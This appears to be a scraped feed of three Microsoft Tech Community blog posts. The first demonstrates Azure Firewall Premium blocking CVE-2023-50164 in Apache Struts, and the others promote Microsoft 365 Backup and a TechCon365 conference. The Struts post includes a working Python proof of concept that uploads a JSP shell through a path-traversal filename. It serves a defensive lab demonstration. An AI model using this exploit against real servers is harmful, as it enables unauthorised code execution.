Introduction

Vulnerabilities and zero-day exploits continue to be a serious threat to systems worldwide. One such vulnerability is CVE-2023-50164, a critical issue in Apache Struts that can lead to critical security breaches if not properly mitigated. Protecting your systems from such vulnerabilities is paramount to prevent unauthorized access and data loss. Azure Firewall Premium provides a robust solution to safeguard your infrastructure against such threats. This blog post will explore the CVE-2023-50164 vulnerability and demonstrate how Azure Firewall Premium can effectively prevent this attack.

The Apache Struts Vulnerability – CVE-2023-50164

Apache Struts is a free-to-use, open-source framework designed for creating Java-based web applications. It follows the Model-View-Controller (MVC) design pattern, which helps separate the application logic, user interface, and control logic.

CVE-2023-50164, discovered in December 2023, is a critical vulnerability found in this framework. This vulnerability allows attackers to execute arbitrary code on the server, potentially leading to data breaches, system compromises, and other malicious activities. CVE-2023-50164 is a path traversal vulnerability resulting from flaws in the file upload logic. These flaws can allow an attacker to manipulate file upload parameters to enable path traversal, and in some cases, this can result in the uploading of a malicious file that can be used to perform Remote Code Execution.

This vulnerability affects Struts versions 2.5.32 and below and 6.3.0.1 and below. Users are recommended to upgrade to Struts version 2.5.33 (and greater) or Struts version 6.3.0.2 (and greater) to fix this issue. For more information on the vulnerability, affected versions and recommended upgrades refer to NVD – CVE-2023-50164 (nist.gov).

Azure Firewall Premium Protection

Whilst the recommendation is to upgrade an affected Apache Struts application to a patched version, upgrading the software may not be an option or may take too long. In such cases, attackers can take advantage of this vulnerability and attack your systems. Azure Firewall Premium provides comprehensive protection against this vulnerability through its Intrusion Detection and Prevention System (IDPS). Azure Firewall Premium is a cloud-native and intelligent network firewall security service that provides advanced threat protection that meets the needs of sensitive and regulated environments, such as the payment and healthcare industries.

The IDPS feature contains more than fifty categories with over 67,000 signature rules. The range of detection categories comprises malware command and control, phishing, trojans, botnets, informational events, exploits, vulnerabilities, SCADA network protocols, exploit kit activity, and numerous others. The Azure Firewall IDPS signatures are continuously updated in real-time to ensure protection against the latest zero-day threats with 20 to 40 new rules released each day.

To enable protection against the Apache Struts vulnerability in Azure Firewall Premium, IDPS must be enabled in either “Alert” or “Alert and Deny” modes. The signatures highlighted below prevent the Apache Struts malicious attacks.

Proof of Concept: Azure Firewall Blocking CVE-2023-50164

To simulate Azure Firewall Premium stopping an attack against a vulnerable Apache Struts application, we attempt a patch traversal attack in a controlled demo environment using the setup below:

Our setup consists of:

A Hub/central Virtual Network
Azure Firewall Premium deployed in its AzureFirewallSubnet.
A Kali Linux virtual machine which is deployed in an application subnet. We install Tomcat and a vulnerable version of Apache Struts.
An Ubuntu Linux client machine (attacker machine).

Azure Firewall Premium Configuration

We configure our Azure Firewall Premium with DNAT rules to access the Kali Linux virtual machine. Inbound traffic towards the virtual machine is NATed on the Azure Firewall’s Public IP address before being translated to the internal server’s IP address:

The translated ports – 22 and 8080 – allow SSH and HTTP (8080) access to the Kali Linux machine.

From the Azure Firewall Settings pane, under IDPS we set the IDPS mode to “Alert and Deny”.

Kali Linux Configuration

In our setup, we use Kali Linux to install a vulnerable Apache Struts application. We set up the server as below:

Update and install dependencies – including Java Development Kit (JDK) and Python – with the commands below:

sudo apt update

sudo apt upgrade -y

sudo apt-get install git curl python3 unzip openjdk-11-jdk -y

2. Next, we set the JAVA_HOME environment variable to ensure that Tomcat and other Java-dependent tools can consistently

    locate and use the correct Java installation. We use the commands below:

export JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64

export JRE_HOME=$JAVA_HOME

export PATH=$PATH:$JAVA_HOME/bin

       3. We download and install Tomcat (version 9.0.83) to provide a servlet container for running our Apache Struts web application.

           The commands below download, extract, configure, and start our Tomcat server:

cd /opt

sudo wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.83/bin/apache-tomcat-9.0.83.tar.gz 

sudo tar xzf apache-tomcat-9.0.83.tar.gz

sudo chmod -R 755 /opt/apache-tomcat-9.0.83

sudo chmod +x /opt/apache-tomcat-9.0.83/bin/*.sh

sudo /opt/apache-tomcat-9.0.83/bin/startup.sh

We verify that the Tomcat server is running by checking the Tomcat server page in a web browser at “http://<Public_IP_Address>:9090”.

Apache Struts Deployment

In this step, we download and install a vulnerable Apache Struts application – version 2.5.10 – into our Kali Linux server. The commands below download and extract the Apache Struts version 2.5.10 archive, deploy the struts2-showcase application to the Tomcat server, and restart the Tomcat server to apply the changes.

cd /opt

sudo wget https://archive.apache.org/dist/struts/2.5.10/struts-2.5.10-all.zip 

sudo unzip struts-2.5.10-all.zip -d /opt

sudo cp /opt/struts-2.5.10/apps/struts2-showcase.war /opt/apache-tomcat-9.0.83/webapps

sudo /opt/apache-tomcat-9.0.83/bin/shutdown.sh

sudo /opt/apache-tomcat-9.0.83/bin/startup.sh

To verify that our Apache Struts application is running, we navigate to the application’s web page in a browser using the URL “http://<Public_IP_Address>:9090/struts2-showcase/fileupload/upload.action”. If the application is running correctly, you should see the file upload page. This is the specific page that contains the vulnerable file upload functionality that we want to exploit. The page is displayed below:

Exploiting the vulnerability and Azure Firewall Premium Protection against it

In our local attacker machine, we run a Python script to exploit the file upload vulnerability in our Apache Struts application. The script sends a specially crafted HTTP POST request to the vulnerable endpoint, attempting to upload a malicious JSP shell file (shell.jsp). This script demonstrates how an attacker could leverage this vulnerability to gain remote code execution (RCE) on the server.

Navigate to your home directory and open the Nano text editor and create a file named poc.py using the commands:

cd ~

nano poc.py

     2. Insert the following Python script into poc.py:

import requests

url = “http://<Public_IP_Address>:9090/struts2-showcase/fileupload/upload.action”

files = {

    ‘upload’: (‘shell.jsp’, ‘<% out.println(“RCE Test”); %>’, ‘application/octet-stream’),

    ‘uploadContentType’: (None, ‘application/octet-stream’),

    ‘uploadFileName’: (None, ‘../../../../../../../../../../../../../../../../usr/share/tomcat9/webapps/ROOT/shell.jsp’),

    ‘caption’: (None, ‘exploit’)

}

response = requests.post(url, files=files)

print(f”Status Code: {response.status_code}”)

print(f”Response Text: {response.text}”)

   3. Execute the above script using the command python3 poc.py (Note – in our test setup script the http port is 9090 as we

       are translating this source port to the actual port 8080).

We receive several errors as the connection is reset with Azure Firewall actively blocking the connection.

Post Attack Investigation and Analysis

After simulating the attack on the vulnerable Apache Struts application, it’s essential to investigate and confirm that Azure Firewall Premium effectively blocked the malicious activity. To achieve this, we can utilize Azure Firewall logs and also use the Copilot for Security integration for Azure Firewall.

Azure Firewall logs provide detailed visibility into the firewall’s traffic and operations, helping us track and analyze the blocked attack but logs can often be tough to manually parse especially when log volume is extremely high. The integration of Azure Firewall with Copilot for Security significantly enhances our ability to investigate and respond to security incidents with ease. Copilot for Security leverages powerful AI-driven tools to streamline the investigation process, offering insights and recommendations based on the analyzed Azure Firewall IDPS logs helping you respond with the speed and scale of AI.

Investigating with Azure Firewall Logs

To view the Azure Firewall IDPS logs, we navigate to our Azure Firewall and select Logs under the Monitoring section. We run the query below on the AZFWIdpsSignature table:

AZFWIdpsSignature

| take 100

From the results, we can clearly observe that the malicious traffic was dropped.

Enhancing the Investigation with Copilot for Security

Using the Copilot for Security integration with Azure Firewall, we can perform detailed investigations of the malicious traffic intercepted by IDPS. Copilot for Security allows us to swiftly investigate and analyze the attack using natural language prompts, providing detailed actionable results. The currently supported capabilities in this integration include:

Viewing top signature hits.
Getting details on an IDPS signature.
Searching across firewalls for an IDPS signature.
Generating recommendations to secure your environment using IDPS.

To use Copilot for Security with Azure Firewall, log into the Copilot for Security standalone portal associated with your environment and enable the Azure Firewall plugin:

To learn more about the Copilot for Security integration with Azure Firewall, you can check out – Azure Firewall integration in Microsoft Copilot for Security (preview) | Microsoft Learn

We start a new session and can use the prompts below to get details related to our attack scenario:

Show me a summary of the top 5 high severity attacks related to known CVEs that have been stopped by the Azure Firewall – <Firewall Name> – in the last 12 hours. Provide the output in tabular format for easier readability.
Tell me more about the Apache Struts vulnerability (CVE-2023-50164).
Was signature ID 2049667 only stopped by this one Firewall? What about others across this entire tenant?
What strategies can be implemented in my Azure Firewall and across my environment, to effectively guard against vulnerabilities similar to CVE-2023-50164?

Show me a summary of the top 5 high severity attacks related to known CVEs that have been stopped by the Azure Firewall – <Firewall_Name> in the last 12 hours. Provide the output in tabular format for easier readability:

As you can see, Copilot automatically detects that there are multiple signatures associated with the same CVE and it alerts you to that information. You can also click on the button in the top right corner to expand the table to see all the log information available.

Tell me more about the Apache Struts vulnerability (CVE-2023-50164):

Instead of having to go research the CVE yourself using external tools, you can simply ask Copilot to tell you about this CVE and why it is malicious.

Was signature ID 2049667 only stopped by this one Firewall? What about others across this entire tenant?

You can also have Copilot search across your entire infrastructure for this attack to make sure you are not vulnerable elsewhere.

What strategies can be implemented in my Azure Firewall and across my environment, to effectively guard against vulnerabilities similar to CVE-2023-50164?

Conclusion

CVE-2023-50164 is a serious vulnerability in Apache Struts that can lead to severe security breaches. While upgrading to the latest version of Struts is the best way to mitigate this vulnerability, Azure Firewall Premium offers an additional layer of protection with its advanced threat detection and prevention capabilities. Implementing Azure Firewall Premium can safeguard your systems from potential exploits and maintain a secure environment. Furthermore, integrating Azure Firewall Premium with Copilot for Security enhances your ability to investigate and respond to security incidents. This powerful combination not only blocks threats but also provides detailed insights and actionable recommendations to fortify your security posture. Implementing these tools ensures comprehensive protection and swift response to security threats, keeping your infrastructure safe and secure.

Resources:

What is Azure Firewall – What is Azure Firewall? | Microsoft Learn
Azure Firewall Premium Features – Azure Firewall Premium features | Microsoft Learn
Azure Firewall IDPS signature rule categories – Azure Firewall IDPS signature rule categories | Microsoft Learn
Azure Firewall integration in Microsoft Copilot for Security – Azure Firewall integration in Microsoft Copilot for Security (preview) | Microsoft Learn
Azure Firewall integration in Copilot for Security: protect networks at machine speed with Gen AI (Blog) – Azure Firewall integration in Microsoft Copilot for Security
CVE-2023-50164 Detail – NVD – CVE-2023-50164 (nist.gov)

​Microsoft Tech Community – Latest Blogs –Read More 

Microsoft 365 is designed to ensure high availability, disaster recovery, security, and data privacy. As the number of ransomware attacks and the scale of impacted data increase year over year, customers want enhanced self-service recovery capabilities over extended time periods. We’re excited to announce the general availability of Microsoft 365 Backup, and the underlying developer-focused Microsoft 365 Backup Storage platform, delivering capabilities to help you address these growing challenges. 

Included:

• Microsoft 365 Backup provides performant backup and recovery for your critical active data to maintain business continuity at speeds orders of magnitude faster than with traditional migration-based backup methodologies.

• Microsoft 365 Backup Storage gives third-party backup developers a way to provide you with the same benefits of the native Microsoft 365 Backup solution through their own integrated application.

Microsoft 365 Backup

Microsoft 365 Backup allows for ultra-high-speed recovery of your OneDrive, SharePoint, and Exchange data. Because those backups are kept within the Microsoft 365 trust boundary, security breach surface and excessive application data access is limited. Microsoft 365 Backup provides business continuity peace of mind while offering fast backup with frequent recovery points and low average recovery times at mass scale. Many customers will see average speeds for mass restores that are 20 times faster than traditional means of backing up and restoring large volumes of Microsoft 365 data (Microsoft internal research, 2024).

Get started with Microsoft 365 Backup today. Microsoft 365 Backup is offered through the Microsoft 365 admin center and is sold as a standalone pay-as-you-go (PAYGO) solution with no additional license requirements.

Microsoft 365 Backup Storage

Microsoft 365 Backup Storage is our preferred platform for backing up and restoring Microsoft 365 data at scale. In addition to powering our native Microsoft 365 Backup offering, the platform enables independent software vendors (ISVs) to build applications using the Microsoft 365 Backup Storage APIs to backup and recover a healthy state of end customer data to restore business continuity as quickly as possible after an attack. Users of these solutions can therefore gain all the benefits of Microsoft 365 Backup plus additional value from vendor-delivered applications that leverage the Microsoft 365 Backup Storage platform.

Microsoft 365 Backup Storage architecture provides speed, tight security and privacy controls, and business continuity recovery with built-in service and data resiliency

Partner Solutions

While you can experience the advantages of the Microsoft 365 Backup Storage platform directly through the Microsoft 365 Backup offering, there are also benefits to using a partner-developed solution. Our partners offer robust and integrated solutions that combine Microsoft 365 with other data sources, all within one interface. Using Microsoft 365 Backup Storage, these partner applications ensure fast backup and restore operations.

We are excited to have our partners committed to bringing the benefits of Microsoft 365 Backup Storage to our customers. They include AvePoint, Cohesity, Commvault, Rubrik, Veeam, Veritas, and more to come.

Product Recognition

If you’re looking for a preferred backup solution built on the Microsoft 365 Backup Storage platform, we’ll be publishing a Microsoft 365 Backup Product Recognition guide. In that guide, we’ll highlight ISV solutions that take advantage of our platform to deliver high speed reliable backup and restore.

Get Started Today

Remember, you’re only truly backed up if you can recover quickly at scale. Microsoft 365 Backup uses our new Backup Storage platform to provide protection for Microsoft 365-based data sources with mass recovery speeds 20 times faster than traditional solution. It backs up and restores your OneDrive, SharePoint, and Exchange data at scale – while also keeping multiple redundant backups within the Microsoft 365 trust boundary to maintain business continuity, security, and privacy.

Setup Microsoft 365 Backup in a few simple steps
https://aka.ms/M365Backup/Setup

Learn more about Microsoft 365 Backup

Find a recognized Microsoft 365 Backup Storage solution from our launch partners
http://aka.ms/M365BackupStorage/Apps

Learn more about Microsoft 365 Backup pricing model and calculator
https://aka.ms/M365Backup/Pricing-Model

Watch the Microsoft 365 Backup anthem video
https://aka.ms/M365Backup/Video

Read the Microsoft 365 Backup guidance whitepaper
https://aka.ms/M365Backup/Whitepaper

Get Microsoft 365 Backup adoption resources
https://aka.ms/M365Backup/Adoption

Learn more about Microsoft 365 Backup Storage
https://aka.ms/M365BackupStorage

​Microsoft Tech Community – Latest Blogs –Read More 

TechCon365 – D.C. adds clarity to emerging technology through rich learning and networking opportunities. Alongside core technology adoption sits the value of discovering new things in the context of moving your business forward. To get a sense of what’s planned, review our TechCon365 – D.C. event guide.

In fact, new tools are available to you to measure progress, implement best practices for greatest impact, and drive real value to employees – for the business. We’re working across our teams to ensure we land consistency and focus within the D.C. keynote, breakout sessions, and workshops to Copilot for Microsoft 365 and other generative AI content – alongside the apps and services you love – like SharePoint, Teams, Viva, Power Platform, Fabric, and more.

Join in: TechCon365 – D.C. | August 12-16, 2024 | TechCon365.com/DC.

For the remainder of this article, I want to provide insight into how we frame user enablement. My goal is for all attendees to have the opportunity to learn the “what” of technology, grounded in the “why and how” of strategy and purpose – to ensure they walk away (or fly away) from D.C. equipped to navigate the era of AI with confidence. And that we, too, listen and get your feedback.

The ”what” | Product innovation

The conference promises insightful presentations, from the opening keynote that I get the honor of co-presenting with my peers, Naomi Moneypenny and Ben Summers, “Thriving in the Era of AI” – through all product-depth sessions delivered by Microsoft, MVPs, and our trusted partners.

You’ll get unique insights into Copilot and AI innovation, advances in employee experiences, content services that help automate the flow of work, and perspectives across roles: Business, IT Pros, and Developers. And we have numerous overview-style session to ensure a solid understanding of our strategy and vision – clarity on where Microsoft is taking content, communication, and collaboration into the future – with you. Visit our Copilot adoption hub to learn more. 

The “why and how” | Strategy and purpose

Good decisions take planning and the willingness to get properly informed, to weed out what does and doesn’t help you move forward. Ask yourself what does the business need AND how do I need to lead the business. We strive to guarantee outcomes to emerge as clear goals, solid change management, and robust (possibly new) user enablement programs. With everything in place, you will tackle inevitable change while adhering to responsible AI principles.

As an example of what you can expect, my breakout session “Delivering User Satisfaction and Adoption Practices for Microsoft 365” maps out the journey and fundamental skills necessary for adopting and enabling employees to leverage AI effectively. Along the way, you’ll need:

Leadership: Developing leadership capabilities to leverage AI for business outcomes.
Human Change: Managing human transformation through robust user enablement programs, investing in employee experiences, and authentically integrating feedback.
Technical Skills: Building and iterating technical skills to deliver business results, providing access to training and experts.
Responsible AI Principles: Adhering to Microsoft’s mission statement and ensuring AI experiences allow greater human connection by focusing on each other instead of redundant tasks.
User Journey: Understanding the user journey to deliver accelerated change based on trust, using the Think-Act-Feel framework to guide business outcomes.

See you there…

This is a tremendous turning point for many of us in our careers.  Similar to what came before with the cloud and other emerging products like Microsoft Teams but on a much larger scale.  Ask yourself, “Am I enjoying the work I’m tasked with every day?”  If not, now is your time to pivot and there are many great sessions where you can expand into new areas at this conference. Here are a few of the upcoming D.C. sessions designed to help you prepare for the future:

“Technical Readiness for Copilot for Microsoft 365” with Ben Summers   
“Empowering US Federal Agencies with Microsoft Copilot: A Roadmap to AI Democratization” with Steve Winward and Jay Leask
“What’s New for Microsoft 365 Admins” with Josh Leporati
“Managing Change in a Microsoft World! Office 365 Governance and Change Management” with Michelle Gilbert
“Have you met your new Trainer? – AI as a learning tool in the Power Platform” with Craig Harris
“Power Platform and Dynamics 365 in the Federal Government” with Brendon Colburn
“Securing and governing the Power Platform at scale” with Ken Aguillard
“The Future of Your Intranet: Beautiful, flexible and AI ready powered by SharePoint” with Katelyn Helms
“What’s new and next for Microsoft Viva” with Kristi Kelly

I believe in-person events are key to depth understanding where you can also build those essential human connections. We will build upon existing documentation and guidance to foster knowledge sharing and effective teamwork. Be curious. Mitigate unconscious bias. Plan to share and consume diverse ideas and perspectives. That is the value of in-person connections. That is what keeps me an active participant of this wonderful tech community – the best community in tech.

Join us at TechCon365 – D.C. | Use our MSCMTY code to get a $200.00 USD discount.

Get up to speed on #MicrosoftCopilot and AI with 27 sessions and 7 workshops at #TechCon365 in Washington DC August 12-16. https://techcon365.com/DC/sessions#sz-tab-244363

Invest in yourself, your colleagues, your entire organization. Embark on a journey to become an AI-powered organization.

Cheers and see you soon, Karuana Gatimu

Visit adoption.microsoft.com
Join us live on Mondays at Microsoft 
Subscribe to the Community News Desk blog
Find your next event on CommunityDays.org
Stay connected to the Microsoft Community on LinkedIn

​Microsoft Tech Community – Latest Blogs –Read More